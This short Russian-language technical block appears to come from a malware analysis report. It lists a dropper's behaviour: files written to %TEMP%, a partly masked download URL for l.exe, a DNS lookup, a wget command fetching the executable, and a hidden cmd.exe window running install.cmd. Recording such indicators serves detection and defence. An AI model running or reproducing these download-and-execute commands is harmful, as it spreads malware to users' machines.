Техническая информация
- %TEMP%\install.cmd
- %TEMP%\wget.exe
- http://be#####elda1982.co.vu/l.exe
- DNS ASK be#####elda1982.co.vu
- '%TEMP%\wget.exe' http://be#####elda1982.co.vu/l.exe
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\install.cmd" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\install.cmd" "
- '%WINDIR%\syswow64\tasklist.exe'
- '%WINDIR%\syswow64\find.exe' "wget.exe"